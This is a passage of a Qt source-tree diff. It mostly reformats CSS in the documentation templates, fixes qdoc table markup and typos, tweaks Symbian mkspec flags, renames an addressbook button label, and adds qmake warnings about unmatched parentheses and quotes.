1px; border-style: solid; border-color: #E6E6E6; font-weight: bold; - word-spacing:3px; - padding:3px 5px; - } - - .functionIndex { - font-size:12pt; - word-spacing:10px; - margin-bottom:10px; - background-color: #F6F6F6; - border-width: 1px; - border-style: solid; - border-color: #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - width:100%; - } - - .centerAlign - { - text-align:center; - } - - .rightAlign - { - text-align:right; - } - - - .leftAlign - { - text-align:left; - } - - .topAlign{ - vertical-align:top - } - - .functionIndex a{ - display:inline-block; - } - + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } /* end content elements */ -/* footer elements */ - .footer +/* footer elements */ + .footer { min-height: 100px; color: #797775; @@ -1297,20 +1305,17 @@ background-color: #E6E7E8; margin: 0; } - .small + .small { font: normal 9px/1 Verdana; - } + } /* end footer elements */ - - - /* start index box */ .indexbox { width: 100%; - display:inline-block; + display:inline-block; } .indexboxcont @@ -1330,26 +1335,24 @@ .indexboxcont .section { display: inline-block; - width: 49%; + width: 49%; *width:42%; _width:42%; padding:0 2% 0 1%; vertical-align:top; - -} + } .indexboxcont .indexIcon { - width: 11%; + width: 11%; *width:18%; _width:18%; overflow:hidden; + } -} - -.indexboxcont .section { - float: left; -} + .indexboxcont .section { + float: left; + } .indexboxcont .section p { @@ -1359,8 +1362,8 @@ .indexboxcont .sectionlist { display: inline-block; - vertical-align:top; - width: 32.5%; + vertical-align:top; + width: 32.5%; padding: 0; } .indexboxcont .sectionlist ul @@ -1389,17 +1392,16 @@ color: #00732f; text-decoration: none; } - - .indexbox .indexIcon { - width: 11%; - } - + .indexbox .indexIcon { + width: 11%; + } + .indexbox .indexIcon span { display: block; } - + .indexbox.guide .indexIcon span { width: 96px; @@ -1407,7 +1409,7 @@ background: url(../images/sprites-combined.png) no-repeat -5px -376px; padding: 0; } - + .indexbox.tools .indexIcon span { width: 115px; @@ -1423,56 +1425,55 @@ clear: both; visibility: hidden; } - + /* start of creator spec*/ - .creator - { - margin-left:0px; - margin-right:0px; - padding-left:0px; - padding-right:0px; - } - .creator .wrap .content ol li { - list-style-type:decimal; - - } + .creator + { + margin-left:0px; + margin-right:0px; + padding-left:0px; + padding-right:0px; + } + .creator .wrap .content ol li { + list-style-type:decimal; + } .creator .header .icon, - .creator .feedback, - .creator .t_button, .creator .feedback, - .creator #feedbackBox, - .creator #feedback, - .creator #blurpage, - /*.creator .indexbox .indexIcon span,*/ - .creator .wrapper .hd, -/* .creator .indexbox .indexIcon,*/ - .creator .header #nav-logo, - .creator #offlinemenu, - .creator #offlinesearch, - .creator .header #nav-topright, + .creator .t_button, + .creator .feedback, + .creator #feedbackBox, + .creator #feedback, + .creator #blurpage, + /* .creator .indexbox .indexIcon span,*/ + .creator .wrapper .hd, + /* .creator .indexbox .indexIcon,*/ + .creator .header #nav-logo, + .creator #offlinemenu, + .creator #offlinesearch, + .creator .header #nav-topright, .creator .header #shortCut , - .creator .wrapper .hd, + .creator .wrapper .hd, .creator .wrapper .ft, - .creator .sidebar, - .creator .wrap .feedback + .creator .sidebar, + .creator .wrap .feedback { - display:none; + display:none; } - - body.creator + + body.creator { - background: none; + background: none; font: normal 13px/1.2 Verdana; color: #363534; - background-color: #FAFAFA; + background-color: #FAFAFA; } - .wrap .content ol li { - - } + .wrap .content ol li { + + } .creator .header, .creator .footer, .creator .wrapper @@ -1481,19 +1482,18 @@ margin: 0px; } - .creator .wrapper + .creator .wrapper { - position:relative; - top:5px; + position:relative; + top:5px; } .creator .wrapper .bd - { - - background:#FFFFFF; - } + { + background:#FFFFFF; + } - .creator .header, .footer + .creator .header, .footer { display: block; clear: both; @@ -1508,81 +1508,74 @@ .creator .header .qtref span { - background:none; - } - + background:none; + } - - .creator .footer + .creator .footer { - border-top:1px solid #E5E5E5; + border-top:1px solid #E5E5E5; height: 50px; - margin:0px; - padding:10px; - } - - .creator .footer p - { - text-align:justify; - max-width:900px; + margin:0px; + padding:10px; } - - .creator .wrap + + .creator .footer p { + text-align:justify; + max-width:900px; + } + .creator .wrap + { padding:0 5px 0 5px; - margin: 0px; + margin: 0px; } .creator .wrap .toolbar { - - - border-bottom:1px solid #E5E5E5; - /*width:100%;*/ - margin-left:-5px; - margin-right:-5px; - } + border-bottom:1px solid #E5E5E5; + /*width:100%;*/ + margin-left:-5px; + margin-right:-5px; + } .creator .wrap .breadcrumb ul li a { /* color: #363534;*/ color: #00732F; - } - + } + .creator .wrap .content { padding: 0px; - word-wrap:break-word; + word-wrap:break-word; } - - .creator .wrap .content ol li { - background:none; - font: inherit; + + .creator .wrap .content ol li { + background:none; + font: inherit; padding-left: 0px; - } - - .creator .wrap .content .descr ol li { - margin-left: 45px; + } + .creator .wrap .content .descr ol li { + margin-left: 45px; } + .creator .content .alignedsummary { margin: 5px; - width:100%; - } - .creator .generic{ - max-width:75%; - } - .creator .generic td{ - /*padding:0;*/ - } + width:100%; + } + .creator .generic{ + max-width:75%; + } + .creator .generic td{ + /*padding:0;*/ + } .creator .indexboxbar { - border-bottom:1px solid #E5E5E5; + border-bottom:1px solid #E5E5E5; margin-bottom: 25px; - background: none; + background: none; } - - .creator .header { @@ -1592,20 +1585,11 @@ background-color: #ffffff; padding: 10px 0 5px 0; overflow: visible; - border-bottom: solid #E5E5E5 1px; - z-index:1; - - - - - - - - - /* position:fixed;*/ + border-bottom: solid #E5E5E5 1px; + z-index:1; + /* position:fixed;*/ } - .creator .header .content { } @@ -1621,32 +1605,25 @@ .creator .header .qtref:visited { color: #00732F; - } + } .creator .header .qtref:hover { color: #00732F; - text-decoration:none; - } + text-decoration:none; + } .creator .header .qtref span { background-image: none; text-indent: 0; - text-decoration:none; + text-decoration:none; } - - - - - .creator .wrap .toolbar { display:block; - padding-top:0px; + padding-top:0px; } - - .creator .wrap .breadcrumb ul li { font-weight: normal; } @@ -1658,80 +1635,78 @@ .creator .wrap .breadcrumb ul li.last a { /*color: #363534;*/ } - - .creator #narrowmenu ul - { - border-bottom:solid 1px #E5E5E5; - border-left:solid 1px #E5E5E5; - border-right:solid 1px #E5E5E5; - } + + .creator #narrowmenu ul + { + border-bottom:solid 1px #E5E5E5; + border-left:solid 1px #E5E5E5; + border-right:solid 1px #E5E5E5; + } .creator #narrowmenu li ul { margin-top:-15px; - } + } + .creator .toc { + margin:10px 20px 10px 10px; + } - .creator .toc { - margin:10px 20px 10px 10px; - } - - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } /* end of creator spec*/ - - .item { - float: left; - position: relative; - width: 100%; - overflow: hidden; - } - - - .item .primary { - margin-right: 220px; - position: relative; - } - - .item hr { - margin-left: -220px; - } - - .item .secondary { - float: right; - width: 200px; - position: relative; - } - - .item .cols { - clear: both; - display: block; - } - - .item .cols .col { - float: left; - margin-left: 1.5%; - } - - .item .cols .col.first { - margin-left: 0; - } - - .item .cols.two .col { - width: 45%; - } - - .item .box { - margin: 0 0 10px 0; - } - - .item .box h3 { - margin: 0 0 10px 0; - } - - .cols.unclear { - clear:none; - } + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } } /* end of screen media */ @@ -1749,8 +1724,7 @@ { background: none; display: block; - width: 100%; margin: 0; float: none; - + width: 100%; margin: 0; float: none; } } /* end of print media */ diff --git a/doc/src/template/style/superfish.css b/doc/src/template/style/superfish.css index 0cf0f7d..2bdaef4 100644 --- a/doc/src/template/style/superfish.css +++ b/doc/src/template/style/superfish.css @@ -1,51 +1,51 @@ .sf-menu, .sf-menu * { - margin: 0; - padding: 0; - list-style: none; + margin: 0; + padding: 0; + list-style: none; } .sf-menu { - line-height: 1.0; + line-height: 1.0; } .sf-menu ul { - position: absolute; - top: -999em; - width: 10em; /* left offset of submenus need to match (see below) */ + position: absolute; + top: -999em; + width: 10em; /* left offset of submenus need to match (see below) */ } .sf-menu ul li { - width: 100%; + width: 100%; } .sf-menu li:hover { - visibility: inherit; /* fixes IE7 'sticky bug' */ + visibility: inherit; /* fixes IE7 'sticky bug' */ } .sf-menu li { - float: left; - position: relative; + float: left; + position: relative; } .sf-menu a { - display: block; - position: relative; + display: block; + position: relative; } .sf-menu li:hover ul, .sf-menu li.sfHover ul { - left: 0; - top: 2.5em; /* match top ul list item height */ - z-index: 99; + left: 0; + top: 2.5em; /* match top ul list item height */ + z-index: 99; } ul.sf-menu li:hover li ul, ul.sf-menu li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li:hover ul, ul.sf-menu li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } ul.sf-menu li li:hover li ul, ul.sf-menu li li.sfHover li ul { - top: -999em; + top: -999em; } ul.sf-menu li li li:hover ul, ul.sf-menu li li li.sfHover ul { - left: 10em; /* match ul width */ - top: 0; + left: 10em; /* match ul width */ + top: 0; } diff --git a/doc/src/tutorials/addressbook.qdoc b/doc/src/tutorials/addressbook.qdoc index cbc918f..ec4a4f3 100644 --- a/doc/src/tutorials/addressbook.qdoc +++ b/doc/src/tutorials/addressbook.qdoc @@ -831,7 +831,7 @@ \snippet tutorials/addressbook/part6/addressbook.cpp tooltip 2 Although it is not shown here, just like the other features we implemented, - we add the push buttons to the layout panel on the right, \c button1Layout, + we add the push buttons to the layout panel on the right, \c buttonLayout1, and we connect the push buttons' \l{QPushButton::clicked()}{clicked()} signals to their respective slots. diff --git a/doc/src/tutorials/modelview.qdoc b/doc/src/tutorials/modelview.qdoc index 88cda72..cae7764 100644 --- a/doc/src/tutorials/modelview.qdoc +++ b/doc/src/tutorials/modelview.qdoc @@ -104,7 +104,7 @@ array of the data elements that the user can change. The table widget can be integrated into a program flow by reading and writing the data elements that the table widget provides. - + This method is very intuitive and useful in many applications, but displaying and editing a database table with a standard table widget can be problematic. Two copies of the data have to be coordinated: one outside the @@ -156,7 +156,7 @@ \o \o \l QColumnView shows a tree as a hierarchy of lists \row - \o \inlineimage combobox.png + \o \inlineimage modelview-combobox.png \o {2, 1} \l QComboBox can work as both a view class and also as a traditional widget \endtable @@ -348,7 +348,7 @@ \section2 2.4 Setting up Headers for Columns and Rows Headers can be hidden via a view method: \c{tableView->verticalHeader()->hide();} - \image header.png + \image modelview-header.png The header content, however, is set via the model, so we reimplement the \l{QAbstractItemModel::headerData()}{headerData()} method: diff --git a/doc/src/widgets-and-layouts/stylesheet.qdoc b/doc/src/widgets-and-layouts/stylesheet.qdoc index 9938a77..be845c4 100644 --- a/doc/src/widgets-and-layouts/stylesheet.qdoc +++ b/doc/src/widgets-and-layouts/stylesheet.qdoc @@ -32,6 +32,7 @@ \ingroup frameworks-technologies \ingroup qt-basic-concepts + \ingroup qt-gui-concepts \previouspage {Styles and Style Aware Widgets}{Styles} \contentspage Widgets and Layouts @@ -1995,7 +1996,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c lineedit-password- \BR \c character}* \target lineedit-password-character-prop + \o \bold{\c lineedit-password-character*} \target lineedit-password-character-prop \o \l{#Number}{Number} \o The QLineEdit password character as a Unicode number. @@ -2091,8 +2092,7 @@ \row - \o \bold{\c messagebox-text- \target messagebox-text-interaction-flags-prop - \BR \c interaction-flags}* + \o \bold{\c messagebox-text-interaction-flags*} \target messagebox-text-interaction-flags-prop \o \l{#Number}{Number} \o The interaction behavior for text in a message box. Possible values are based on Qt::TextInteractionFlags. @@ -2153,7 +2153,7 @@ See also \l{#min-height-prop}{min-height}. \row - \o \bold{\c opacity}* \target opacity-prop + \o \bold{\c opacity*} \target opacity-prop \o \l{#Number}{Number} \o The opacity for a widget. Possible values are from 0 (transparent) to 255 (opaque). For the moment, this is @@ -2249,7 +2249,7 @@ \l{#bottom-prop}{bottom}. \row - \o \bold{\c selection-background-color}* \target selection-background-color-prop + \o \bold{\c selection-background-color*} \target selection-background-color-prop \o \l{#Brush}{Brush} \BR \o The background of selected text or items. @@ -2268,7 +2268,7 @@ \l{Qt Style Sheets Reference#background-prop}{background}. \row - \o \bold{\c selection-color}* \target selection-color-prop + \o \bold{\c selection-color*} \target selection-color-prop \o \l{#Brush}{Brush} \BR \o The foreground of selected text or items. @@ -2288,8 +2288,7 @@ and \l{#color-prop}{color}. \row - \o \bold{\c show-decoration- \target show-decoration-selected-prop - \BR \c selected}* + \o \bold{\c show-decoration-selected*} \target show-decoration-selected-prop \o \l{#Boolean}{Boolean} \o Controls whether selections in a QListView cover the entire row or just the extent of the text. @@ -2304,7 +2303,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 73 \row - \o \bold{\c spacing}* \target spacing-prop + \o \bold{\c spacing*} \target spacing-prop \o \l{#Length}{Length} \o Internal spacing in the widget. @@ -2322,7 +2321,7 @@ \l{#margin-prop}{margin}. \row - \o \bold{\c subcontrol-origin}* \target subcontrol-origin-prop + \o \bold{\c subcontrol-origin*} \target subcontrol-origin-prop \o \l{#Origin}{Origin} \o The origin rectangle of the \l subcontrol within the parent element. @@ -2338,7 +2337,7 @@ \l{Qt Style Sheets Reference#subcontrol-position-prop}{subcontrol-position}. \row - \o \bold{\c subcontrol-position}* \target subcontrol-position-prop + \o \bold{\c subcontrol-position*} \target subcontrol-position-prop \o \l{#Alignment}{Alignment} \o The alignment of the \l subcontrol within the origin rectangle specified by \l{Qt Style Sheets Reference#subcontrol-origin-prop} @@ -2706,8 +2705,7 @@ \o Shorthand border property. \row - \o \bold{Border \target Border Image - Image} + \o \bold{Border Image} \target Border Image \o \c none \BR | \l{Url} \l{Number}\{4\} \BR (\c stretch | \c repeat){0,2} \o A border image is an image that is composed of nine parts @@ -2723,8 +2721,7 @@ {CSS3 Draft Specification} for details. \row - \o \bold{Border \target Border Style - Style} + \o \bold{Border Style} \target Border Style \o \c dashed \BR | \c dot-dash \BR | \c dot-dot-dash \BR @@ -2741,8 +2738,7 @@ {CSS3 Draft Specification} for details. \row - \o \bold{Box \target Box Colors - Colors} + \o \bold{Box Colors} \target Box Colors \o \l{#Brush}{Brush}\{1,4\} \o One to four occurrences of \l{#Brush}{Brush}, specifying the top, right, bottom, and left edges of a box, respectively. If @@ -2757,8 +2753,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82 \row - \o \bold{Box \target Box Lengths - Lengths} + \o \bold{Box Lengths} \target Box Lengths \o \l{#Length}{Length}\{1,4\} \o One to four occurrences of \l{#Length}{Length}, specifying the top, right, bottom, and left edges of a box, @@ -2773,14 +2768,14 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83 \row - \o \bold Brush \target Brush + \o \bold{Brush} \target Brush \o \l{#Color}{Color} \BR | \l{Gradient} \BR | \l{PaletteRole} \o Specifies a Color or a Gradient or an entry in the Palette. \row - \o \bold Color \target Color + \o \bold{Color} \target Color \o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR | \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR | \tt{hsv(\e{h}, \e{s}, \e{v})} \BR @@ -2803,27 +2798,24 @@ \l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}. \row - \o \bold Font \target Font + \o \bold{Font} \target Font \o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String \o Shorthand font property. \row - \o \bold{Font \target Font Size - Size} + \o \bold{Font Size} \target Font Size \o \l{Length} \o The size of a font. \row - \o \bold{Font \target Font Style - Style} + \o \bold{Font Style} \target Font Style \o \c normal \BR | \c italic \BR | \c oblique \o The style of a font. \row - \o \bold{Font \target Font Weight - Weight} + \o \bold{Font Weight} \target Font Weight \o \c normal \BR | \c bold \BR | \c 100 \BR @@ -2833,7 +2825,7 @@ \o The weight of a font. \row - \o \bold Gradient \target Gradient + \o \bold{Gradient} \target Gradient \o \c qlineargradient \BR | \c qradialgradient \BR | \c qconicalgradient @@ -2863,7 +2855,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85 \row - \o \bold Icon \target Icon + \o \bold{Icon} \target Icon \o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)? (\c on | \c off)? )* \o A list of url, QIcon::Mode and QIcon::State. @@ -2872,7 +2864,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86 \row - \o \bold Length \target Length + \o \bold{Length} \target Length \o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)? \o A number followed by a measurement unit. The CSS standard recommends that user agents must @@ -2890,13 +2882,13 @@ \endlist \row - \o \bold Number \target Number + \o \bold{Number} \target Number \o A decimal integer or a real number \o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5, \c 0009. \row - \o \bold Origin \target Origin + \o \bold{Origin} \target Origin \o \c margin \BR | \c border \BR | \c padding \BR @@ -2916,7 +2908,7 @@ See also \l{The Box Model}. \row - \o \bold PaletteRole \target PaletteRole + \o \bold{PaletteRole} \target PaletteRole \o \c alternate-base \BR | \c base \BR | \c bright-text \BR @@ -2941,7 +2933,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87 \row - \o \bold Radius \target Radius + \o \bold{Radius} \target Radius \o \l{#Length}{Length}\{1, 2\} \o One or two occurrences of \l{#Length}{Length}. If only one length is specified, it is used as the radius of the quarter circle @@ -2950,7 +2942,7 @@ ellipse, whereas the second length is the vertical radius. \row - \o \bold Repeat \target Repeat + \o \bold{Repeat} \target Repeat \o \c repeat-x \BR | \c repeat-y \BR | \c repeat \BR @@ -2965,7 +2957,7 @@ \endlist \row - \o \bold Url \target Url + \o \bold{Url} \target Url \o \tt{url(\e{filename})} \o \tt{\e{filename}} is the name of a file on the local disk or stored using \l{the Qt Resource System}. Setting an diff --git a/doc/src/windows-and-dialogs/mainwindow.qdoc b/doc/src/windows-and-dialogs/mainwindow.qdoc index bf3e3a8..0bf4909 100644 --- a/doc/src/windows-and-dialogs/mainwindow.qdoc +++ b/doc/src/windows-and-dialogs/mainwindow.qdoc @@ -37,7 +37,7 @@ \ingroup qt-gui-concepts A \l{Widgets Tutorial}{widget} that is not embedded in a parent widget is called a window. - Usually, windows have a frame and a title bar, although it is also possible to create + (Usually, windows have a frame and a title bar, although it is also possible to create windows without such decoration using suitable window flags). In Qt, QMainWindow and the various subclasses of QDialog are the most common window types. diff --git a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc index 478bd64..ad2d702 100644 --- a/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc +++ b/doc/src/zh_CN/getting-started/how-to-learn-qt.qdoc @@ -41,9 +41,9 @@ 现在您已经编写了一些小型可用的应用程序,并对 Qt 编程有更加广泛的了解。您可以直接着手做自己的项目,但我们建议您阅读以下一些关键简介以加深您对 Qt 的了解:\l{Qt Object Model}Qt 对象模型}和\l{Signals and Slots}{信号和槽}。 - \beginfloatleft + \div {float-left} \inlineimage qtdemo-small.png - \endfloat + \enddiv \section1 了解概况 diff --git a/examples/declarative/toys/dynamicscene/dynamicscene.qml b/examples/declarative/toys/dynamicscene/dynamicscene.qml index cfc4b74..a436b41 100644 --- a/examples/declarative/toys/dynamicscene/dynamicscene.qml +++ b/examples/declarative/toys/dynamicscene/dynamicscene.qml @@ -215,9 +215,10 @@ Item { PropertyChanges { target: stars; opacity: 0 } } + //! [top-level transitions] transitions: Transition { PropertyAnimation { duration: 3000 } ColorAnimation { duration: 3000 } } - + //! [top-level transitions] } diff --git a/examples/tutorials/addressbook/part6/addressbook.cpp b/examples/tutorials/addressbook/part6/addressbook.cpp index 64615c7..c7dc8e2 100644 --- a/examples/tutorials/addressbook/part6/addressbook.cpp +++ b/examples/tutorials/addressbook/part6/addressbook.cpp @@ -74,7 +74,7 @@ AddressBook::AddressBook(QWidget *parent) //! [tooltip 1] loadButton->setToolTip(tr("Load contacts from a file")); //! [tooltip 1] - saveButton = new QPushButton(tr("Sa&ve...")); + saveButton = new QPushButton(tr("&Save...")); //! [tooltip 2] saveButton->setToolTip(tr("Save contacts to a file")); //! [tooltip 2] diff --git a/examples/tutorials/addressbook/part7/addressbook.cpp b/examples/tutorials/addressbook/part7/addressbook.cpp index b04198c..501ad31 100644 --- a/examples/tutorials/addressbook/part7/addressbook.cpp +++ b/examples/tutorials/addressbook/part7/addressbook.cpp @@ -72,7 +72,7 @@ AddressBook::AddressBook(QWidget *parent) loadButton = new QPushButton(tr("&Load...")); loadButton->setToolTip(tr("Load contacts from a file")); - saveButton = new QPushButton(tr("Sa&ve...")); + saveButton = new QPushButton(tr("&Save...")); saveButton->setToolTip(tr("Save contacts to a file")); saveButton->setEnabled(false); diff --git a/mkspecs/common/symbian/symbian-mmp.conf b/mkspecs/common/symbian/symbian-mmp.conf index 4d554bd..8ed326a 100644 --- a/mkspecs/common/symbian/symbian-mmp.conf +++ b/mkspecs/common/symbian/symbian-mmp.conf @@ -13,7 +13,7 @@ symbian-abld { } else { MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA = "OPTION_REPLACE ARMCC --export_all_vtbl // don't use --export_all_vtbl" } -MMP_RULES += PAGED BYTEPAIRCOMPRESSTARGET +MMP_RULES += BYTEPAIRCOMPRESSTARGET MMP_RULES += $$MMP_RULES_DONT_EXPORT_ALL_CLASS_IMPEDIMENTA SYMBIAN_PLATFORMS = WINSCW GCCE ARMV5 ARMV6 @@ -28,7 +28,8 @@ INCLUDEPATH = \ # RVCT seems to do this automatically, but WINSCW compiler does not, so add it here. MMP_RULES += "USERINCLUDE ." -contains(S60_VERSION, 3.1):MMP_RULES -= PAGED BYTEPAIRCOMPRESSTARGET +# S60 3.1 devices don't support paging for non-ROM components, so no point in using the less efficient compression mechanism +contains(S60_VERSION, 3.1):MMP_RULES -= BYTEPAIRCOMPRESSTARGET QMAKE_CXXFLAGS_FAST_VFP.ARMCC = --fpmode fast # [TODO] QMAKE_CXXFLAGS_FAST_VFP.GCCE = diff --git a/mkspecs/symbian-gcce/qmake.conf b/mkspecs/symbian-gcce/qmake.conf index a31e6e4..9eee43d 100644 --- a/mkspecs/symbian-gcce/qmake.conf +++ b/mkspecs/symbian-gcce/qmake.conf @@ -47,14 +47,14 @@ QMAKE_CXXFLAGS_STATIC_LIB -= -fPIC QMAKE_LFLAGS_SONAME = #QMAKE_LFLAGS_THREAD += -#QMAKE_LFLAGS_NOUNDEF += -Wl,--no-undefined +QMAKE_LFLAGS_NOUNDEF = QMAKE_LFLAGS_RPATH = --rpath= DEFINES += __GCCE__ \ UNICODE QMAKE_LFLAGS_APP += --entry=_E32Startup -u _E32Startup -QMAKE_LFLAGS_SHLIB += -shared --default-symver --entry _E32Dll +QMAKE_LFLAGS_SHLIB += -shared --default-symver --entry _E32Dll -u _E32Dll QMAKE_LFLAGS_PLUGIN += $$QMAKE_LFLAGS_SHLIB gcceExtraFlags = --include=$${EPOCROOT}epoc32/include/gcce/gcce.h -march=armv5t -mapcs -mthumb-interwork -nostdinc -c -msoft-float -T script diff --git a/qmake/project.cpp b/qmake/project.cpp index af8cdf6..7cc1cb6 100644 --- a/qmake/project.cpp +++ b/qmake/project.cpp @@ -228,7 +228,7 @@ static QString varMap(const QString &x) return ret; } -static QStringList split_arg_list(QString params) +static QStringList split_arg_list(const QString ¶ms) { int quote = 0; QStringList args; @@ -253,6 +253,8 @@ static QStringList split_arg_list(QString params) while(x > last && params_data[x-1].unicode() == SPACE) --x; args << params.mid(last, x - last); + // Could do a check for unmatched parens here, but split_value_list() + // is called on all our output, so mistakes will be caught anyway. return args; } ushort unicode = params_data[x].unicode(); @@ -285,6 +287,7 @@ static QStringList split_value_list(const QString &vals) QString build; QStringList ret; ushort quote = 0; + int parens = 0; const ushort LPAREN = '('; const ushort RPAREN = ')'; @@ -295,7 +298,7 @@ static QStringList split_value_list(const QString &vals) ushort unicode; const QChar *vals_data = vals.data(); const int vals_len = vals.length(); - for(int x = 0, parens = 0; x < vals_len; x++) { + for(int x = 0; x < vals_len; x++) { unicode = vals_data[x].unicode(); if(x != (int)vals_len-1 && unicode == BACKSLASH && (vals_data[x+1].unicode() == SINGLEQUOTE || vals_data[x+1].unicode() == DOUBLEQUOTE)) { @@ -319,6 +322,11 @@ static QStringList split_value_list(const QString &vals) } if(!build.isEmpty()) ret << build; + if (parens) + warn_msg(WarnDeprecated, "%s:%d: Unmatched parentheses are deprecated.", + parser.file.toLatin1().constData(), parser.line_no); + // Could do a check for unmatched quotes here, but doVariableReplaceExpand() + // is called on all our output, so mistakes will be caught anyway. return ret; } @@ -1678,10 +1686,10 @@ QMakeProject::doProjectInclude(QString file, uchar flags, QMap<QString, QStringL } if(format == UnknownFormat) return IncludeNoExist; - if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1) - return IncludeFeatureAlreadyLoaded; - place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file); } + if(place["QMAKE_INTERNAL_INCLUDED_FEATURES"].indexOf(file) != -1) + return IncludeFeatureAlreadyLoaded; + place["QMAKE_INTERNAL_INCLUDED_FEATURES"].append(file); } if(QDir::isRelativePath(file)) { QStringList include_roots; @@ -2963,6 +2971,9 @@ QMakeProject::doVariableReplaceExpand(const QString &str, QMap<QString, QStringL else if(!current.isEmpty()) ret.append(current); //qDebug() << "REPLACE" << str << ret; + if (quote) + warn_msg(WarnDeprecated, "%s:%d: Unmatched quotes are deprecated.", + parser.file.toLatin1().constData(), parser.line_no); return ret; } diff --git a/src/3rdparty/phonon/mmf/abstractaudioeffect.h b/src/3rdparty/phonon/mmf/abstractaudioeffect.h index 70adcf6..517a334 100644 --- a/src/3rdparty/phonon/mmf/abstractaudioeffect.h +++ b/src/3rdparty/phonon/mmf/abstractaudioeffect.h @@ -124,7 +124,7 @@ private: #define PHONON_MMF_DEFINE_EFFECT_FUNCTIONS(Effect) \ \ -void Effect##::createEffect(AudioPlayer::NativePlayer *player) \ +void Effect::createEffect(AudioPlayer::NativePlayer *player) \ { \ C##Effect *ptr = 0; \ QT_TRAP_THROWING(ptr = C##Effect::NewL(*player)); \ diff --git a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp index 7a8aae7..4238d33 100644 --- a/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp +++ b/src/3rdparty/webkit/WebKit/qt/declarative/qdeclarativewebview.cpp @@ -742,11 +742,11 @@ QWebPage* QDeclarativeWebView::page() const See QWebSettings for details of these properties. \qml - WebView { - settings.pluginsEnabled: true - settings.standardFontFamily: "Arial" - ... - } + WebView { + settings.pluginsEnabled: true + settings.standardFontFamily: "Arial" + // ... + } \endqml */ QDeclarativeWebSettings* QDeclarativeWebView::settingsObject() const diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc index c2a38fd..d8ca5f9 100644 --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit-bridge.qdoc @@ -415,7 +415,7 @@ \section2 Internet Security - When exposing native object to an open web environment, it is importwhichant to understand the security + When exposing native object to an open web environment, it is important to understand the security implications. Think whether the exposed object enables the web environment access to things that shouldn't be open, and whether the web content loaded by that web page comes from a trusted. In general, when exposing native QObjects that give the web environment access to private information or to functionality diff --git a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc index 0335d46..2be8e5e 100644 --- a/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc +++ b/src/3rdparty/webkit/WebKit/qt/docs/qtwebkit.qdoc @@ -103,8 +103,8 @@ The following locations are searched for plugins: \table - \header \o Linux/Unix (X11) \o Windows - \row \o{1,3} + \header \o Linux/Unix (X11) + \row \o \list \o \c{.mozilla/plugins} in the user's home directory \o \c{.netscape/plugins} in the user's home directory @@ -134,19 +134,20 @@ \o \c{$QTWEBKIT_PLUGIN_PATH} \endlist \endlist + \endtable - \o + \table + \header \o Windows + \row \o \list \o The user's \c{Application Data\Mozilla\plugins} directory \o Standard system locations of plugins for Quicktime, Flash, etc. \endlist + \endtable - \row - \raw HTML - <th class="qt-style">Mac OS X</th> - \endraw - \row - \o + \table + \header \o Mac OS X + \row \o \list \o \c{Library/Internet Plug-Ins} in the user's home directory \o The system \c{/Library/Internet Plug-Ins} directory diff --git a/src/corelib/corelib.pro b/src/corelib/corelib.pro index e946d5d..f03550d 100644 --- a/src/corelib/corelib.pro +++ b/src/corelib/corelib.pro @@ -40,7 +40,10 @@ contains(DEFINES,QT_EVAL):include(eval.pri) symbian: { 